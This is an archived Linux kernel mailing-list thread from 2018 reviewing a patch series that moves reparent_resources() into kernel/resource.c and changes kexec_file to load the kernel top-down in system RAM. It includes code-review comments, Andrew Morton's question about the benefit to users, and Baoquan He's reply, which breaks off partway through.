Original-Received: by 2002:a67:2149:0:0:0:0:0 with HTTP; Wed, 18 Jul 2018 09:36:17
 -0700 (PDT)
In-Reply-To: <20180718024944.577-2-bhe@redhat.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:120441 gmane.linux.drivers.devicetree:280078 gmane.linux.kernel.pci:74071 gmane.linux.hardware.nvdimm:11046 gmane.linux.kernel.input:62026 gmane.linux.ports.parisc:28794 gmane.linux.kernel:2824064 gmane.linux.ports.ppc64.devel:160180
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/120441>

On Wed, Jul 18, 2018 at 5:49 AM, Baoquan He <bhe@redhat.com> wrote:
> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> so that it's shared.

Some minor stuff.

> +/**
> + * reparent_resources - reparent resource children of parent that res covers
> + * @parent: parent resource descriptor
> + * @res: resource descriptor desired by caller
> + *
> + * Returns 0 on success, -ENOTSUPP if child resource is not completely
> + * contained by 'res', -ECANCELED if no any conflicting entry found.

'res' -> @res

> + *
> + * Reparent resource children of 'parent' that conflict with 'res'

Ditto + 'parent' -> @parent

> + * under 'res', and make 'res' replace those children.

Ditto.

> + */
> +int reparent_resources(struct resource *parent, struct resource *res)
> +{
> +       struct resource *p, **pp;
> +       struct resource **firstpp = NULL;
> +
> +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> +               if (p->end < res->start)
> +                       continue;
> +               if (res->end < p->start)
> +                       break;
> +               if (p->start < res->start || p->end > res->end)
> +                       return -ENOTSUPP;       /* not completely contained */
> +               if (firstpp == NULL)
> +                       firstpp = pp;
> +       }
> +       if (firstpp == NULL)
> +               return -ECANCELED; /* didn't find any conflicting entries? */
> +       res->parent = parent;
> +       res->child = *firstpp;
> +       res->sibling = *pp;
> +       *firstpp = res;
> +       *pp = NULL;
> +       for (p = res->child; p != NULL; p = p->sibling) {
> +               p->parent = res;

> +               pr_debug("PCI: Reparented %s %pR under %s\n",
> +                        p->name, p, res->name);

Now, PCI is a bit confusing here.

> +       }
> +       return 0;
> +}
> +EXPORT_SYMBOL(reparent_resources);
> +
>  static void __init __reserve_region_with_split(struct resource *root,
>                 resource_size_t start, resource_size_t end,
>                 const char *name)
> --
> 2.13.6
>



-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed, 18 Jul 2018 19:37:24 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <CAHp75Vf2yEwHhEhhQH2XN+pOQ=-skiAHZ=FgLnfVV8vcm59qeQ@mail.gmail.com>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-2-bhe@redhat.com>
 <CAHp75VdO88ydJQ9GHdaDUmAmzL6QHR=US6JiXZ1R_EEA-xWR1Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531931725 14400 195.159.176.226 (18 Jul 2018 16:35:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 16:35:25 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh@joshtri
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 18:35:17 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffpQ4-0003aq-Kt
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 18:35:16 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id ED04D2097FAA2;
	Wed, 18 Jul 2018 09:37:26 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=2607:f8b0:400c:c08::241; helo=mail-ua0-x241.google.com;
 envelope-from=andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail-ua0-x241.google.com (mail-ua0-x241.google.com
 [IPv6:2607:f8b0:400c:c08::241])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 54F502097E25F
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed, 18 Jul 2018 09:37:26 -0700 (PDT)
Original-Received: by mail-ua0-x241.google.com with SMTP id q12-v6so3327527ual.2
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed, 18 Jul 2018 09:37:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=CgziUsp0mzlb/qf0pU5GAH1nTZO0LrP6tS3oNMpFAvw=;
 b=qHJ2NWbvy6nn6EoRo2FKIinuX5NAZi9S2JZms6lEVdM0PuXeoOchcQqScw//qv1ock
 7j9Rs+G0Y9h8Q0wMdI5JDVLZS33WNGcqDf68acuiN8wfro2DuY8Y2eqNxb99wxNhgoJg
 zbb8xK9u/GIPswcG+ymKrL3e3BeSUTb1CIaQTg1/2BaMXUZoEDotU9qo1DrFNe/K794M
 RRDzSNI6xFMOsb7sjot6WUa7lUJyQrAvNrCIIdyRk0903RtQmzk7GtknTQhck4tVZj03
 jU2iCnblsPkUvgTvYJw9XKxsKbOP3n8nogF0y5r8y15bH8efkKMV6gftON88Y0hWYJSb
 i2xw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=CgziUsp0mzlb/qf0pU5GAH1nTZO0LrP6tS3oNMpFAvw=;
 b=Pue8GOJsqZjPm3rzEytKzATgq2rgz40YgBCCx/icZjO6xcPUX8tsJdZEd8RVH3Fben
 IKat3sLeCiH2YdfmTinGJRd8VM83NfJNkV/2DZltUFUM3GnNQ+oB9o8ut1XAC+H/CEDQ
 6jR8IwGorrny69cgwXdNqVazCTlu0Z1+N7ccuGUPikIj0afwyNIaFRDm8le9czS09u3T
 sN1uxDFSJrjp/oxJnRAI8jGP3EbAbYoAaE2RncjTqL+NOVqQA0RLzoWaF9qZtPEs2OJc
 Fg1kBS8ccwVjM+bfIWKT4Mgmw3OVm54oEgQce+HEoXL1/0zvyXQVUOs4ZkTYzf/d58hf
 04ag==
X-Gm-Message-State: AOUpUlHS6+E8inKE5Mbn+ZyaWbWD5Giqt+smEP/I1iOyqgvJg4Fpuvb7
 3jPoLzPtiI4+M8G4UB9acn4vt6SlwlxBefF0JeA=
X-Google-Smtp-Source: AAOMgpfw61508iZ6xg/fu2s3cE8+X+v4DZYtdDRBwpLPwKjGlVbEyGMYeOmWdiDtCtjWMeOXBGesPtb/Ug75Rgjnw6g=
X-Received: by 2002:a9f:2187:: with SMTP id 7-v6mr4634776uac.49.1531931845407; 
 Wed, 18 Jul 2018 09:37:25 -0700 (PDT)
Original-Received: by 2002:a67:2149:0:0:0:0:0 with HTTP; Wed, 18 Jul 2018 09:37:24
 -0700 (PDT)
In-Reply-To: <CAHp75VdO88ydJQ9GHdaDUmAmzL6QHR=US6JiXZ1R_EEA-xWR1Q-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11047 gmane.linux.drivers.devicetree:280079 gmane.linux.kernel.pci:74072 gmane.linux.kernel.input:62027 gmane.linux.ports.parisc:28795 gmane.linux.kernel:2824065 gmane.linux.ports.ppc64.devel:160181
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11047>

On Wed, Jul 18, 2018 at 7:36 PM, Andy Shevchenko
<andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> On Wed, Jul 18, 2018 at 5:49 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
>> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
>> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
>> so that it's shared.

>> + * Returns 0 on success, -ENOTSUPP if child resource is not completely
>> + * contained by 'res', -ECANCELED if no any conflicting entry found.

You also can refer to constants by prefixing them with %, e.g. %-ENOTSUPP.
But this is up to you completely.

-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Wed, 18 Jul 2018 15:33:26 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
References: <20180718024944.577-1-bhe@redhat.com>
        <20180718024944.577-5-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531953091 19037 195.159.176.226 (18 Jul 2018 22:31:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 22:31:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, robh+dt@kernel.org,
        dan.j.williams@intel.com, nicolas.pitre@linaro.org,
        josh@joshtriplett.org, fengguang.wu@intel.com, bp@suse.de,
        andy.shevchenko@gmail.com, patrik.r.jakobsson@gmail.com,
        airlied@linux.ie, kys@microsoft.com, haiyangz@microsoft.com,
        sthemmin@microsoft.com, dmitry.torokhov@gmail.com,
        frowand.list@gmail.com, keith.busch@intel.com,
        jonathan.derrick@intel.com, lorenzo.pieralisi@arm.com,
        bhelgaas@google.com, tglx@linutronix.de, brijesh.singh@amd.com,
        jglisse@redhat.com, thomas.lendacky@amd.com,
        gregkh@linuxfoundation.org, baiyaowei@cmss.chinamobile.com,
        richard.weiyang@gmail.com, devel@linuxdriverproject.org,
        linux-input@vger.kernel.org, linux-nvdimm@lists.01.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
        ebiederm@xmissi
To: Baoquan He <bhe@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 19 00:31:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ffuyf-0004in-LW
	for glk-linux-kernel-4@m.gmane.org; Thu, 19 Jul 2018 00:31:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730266AbeGRXNb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 18 Jul 2018 19:13:31 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49978 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729209AbeGRXNa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 18 Jul 2018 19:13:30 -0400
Original-Received: from akpm3.svl.corp.google.com (unknown [104.133.9.92])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 3F51886D;
        Wed, 18 Jul 2018 22:33:27 +0000 (UTC)
In-Reply-To: <20180718024944.577-5-bhe@redhat.com>
X-Mailer: Sylpheed 3.6.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2824337 gmane.linux.kernel.input:62038 gmane.linux.hardware.nvdimm:11060 gmane.linux.drivers.devicetree:280130 gmane.linux.kernel.pci:74090 gmane.linux.ports.parisc:28796 gmane.linux.ports.ppc64.devel:160194 gmane.linux.kernel.kexec:21223
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2824337>

On Wed, 18 Jul 2018 10:49:44 +0800 Baoquan He <bhe@redhat.com> wrote:

> For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
> is used to load kernel/initrd/purgatory is supposed to be allocated from
> top to down. This is what we have been doing all along in the old kexec
> loading interface and the kexec loading is still default setting in some
> distributions. However, the current kexec_file loading interface doesn't
> do like this. The function arch_kexec_walk_mem() it calls ignores checking
> kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
> all resources of System RAM from bottom to up, to try to find memory region
> which can contain the specific kexec buffer, then call locate_mem_hole_callback()
> to allocate memory in that found memory region from top to down. This brings
> confusion especially when KASLR is widely supported , users have to make clear
> why kexec/kdump kernel loading position is different between these two
> interfaces in order to exclude unnecessary noises. Hence these two interfaces
> need be unified on behaviour.

As far as I can tell, the above is the whole reason for the patchset,
yes?  To avoid confusing users.

Is that sufficient?  Can we instead simplify their lives by providing
better documentation or informative printks or better Kconfig text,
etc?

And who *are* the people who are performing this configuration?  Random
system administrators?  Linux distro engineers?  If the latter then
they presumably aren't easily confused!

In other words, I'm trying to understand how much benefit this patchset
will provide to our users as a whole.



From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 19 Jul 2018 23:17:53 +0800
Lines: 88
Approved: news@gmane.org
Message-ID: <20180719151753.GB7147@localhost.localdomain>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532013361 8203 195.159.176.226 (19 Jul 2018 15:16:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jul 2018 15:16:01 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-kernel@vge
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 19 17:15:53 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fgAem-0001y1-VA
	for gln-linux-nvdimm@m.gmane.org; Thu, 19 Jul 2018 17:15:53 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 88BA92098EA69;
	Thu, 19 Jul 2018 08:18:03 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 7557321B02845
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 19 Jul 2018 08:18:01 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id B3D9587AC4;
 Thu, 19 Jul 2018 15:18:00 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 92F1A2026D6B;
 Thu, 19 Jul 2018 15:17:57 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180718153326.b795e9ea7835432a56cd7011-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Thu, 19 Jul 2018 15:18:01 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Thu, 19 Jul 2018 15:18:01 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11076 gmane.linux.drivers.devicetree:280255 gmane.linux.kernel.pci:74120 gmane.linux.kernel.input:62041 gmane.linux.ports.parisc:28797 gmane.linux.kernel.kexec:21230 gmane.linux.kernel:2825034 gmane.linux.ports.ppc64.devel:160233
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11076>

Hi Andrew,

On 07/18/18 at 03:33pm, Andrew Morton wrote:
> On Wed, 18 Jul 2018 10:49:44 +0800 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> 
> > For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
> > is used to load kernel/initrd/purgatory is supposed to be allocated from
> > top to down. This is what we have been doing all along in the old kexec
> > loading interface and the kexec loading is still default setting in some
> > distributions. However, the current kexec_file loading interface doesn't
> > do like this. The function arch_kexec_walk_mem() it calls ignores checking
> > kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
> > all resources of System RAM from bottom to up, to try to find memory region
> > which can contain the specific kexec buffer, then call locate_mem_hole_callback()
> > to allocate memory in that found memory region from top to down. This brings
> > confusion especially when KASLR is widely supported , users have to make clear
> > why kexec/kdump kernel loading position is different between these two
> > interfaces in order to exclude unnecessary noises. Hence these two interfaces
> > need be unified on behaviour.
> 
> As far as I can tell, the above is the whole reason for the patchset,
> yes?  To avoid confusing users.


In fact, it's not just trying to avoid confusing users. Kexec loading
and kexec_file loading are just do the same thing in essence. Just we
need do kernel image verification on uefi system, have to port kexec
loading code to kernel. 

Kexec has been a formal feature in our distro, and customers owning
those kind of very large machine can make use of this feature to speed
up the reboot process. On uefi machine, the kexec_file loading will
search place to put kernel under 4G from top to down. As we know, the
1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
it. It may have possibility to not be able to find a usable space for
kernel/initrd. From the top down of the whole memory space, we don't
have this worry. 

And at the first post, I just posted below with AKASHI's
walk_system_ram_res_rev() version. Later you suggested to use
list_head to link child sibling of resource, see what the code change
looks like.
http://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

Then I posted v2
http://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
Rob Herring mentioned that other components which has this tree struct
have planned to do the same thing, replacing the singly linked list with
list_head to link resource child sibling. Just quote Rob's words as
below. I think this could be another reason.

~~~~~ From Rob
The DT struct device_node also has the same tree structure with
parent, child, sibling pointers and converting to list_head had been
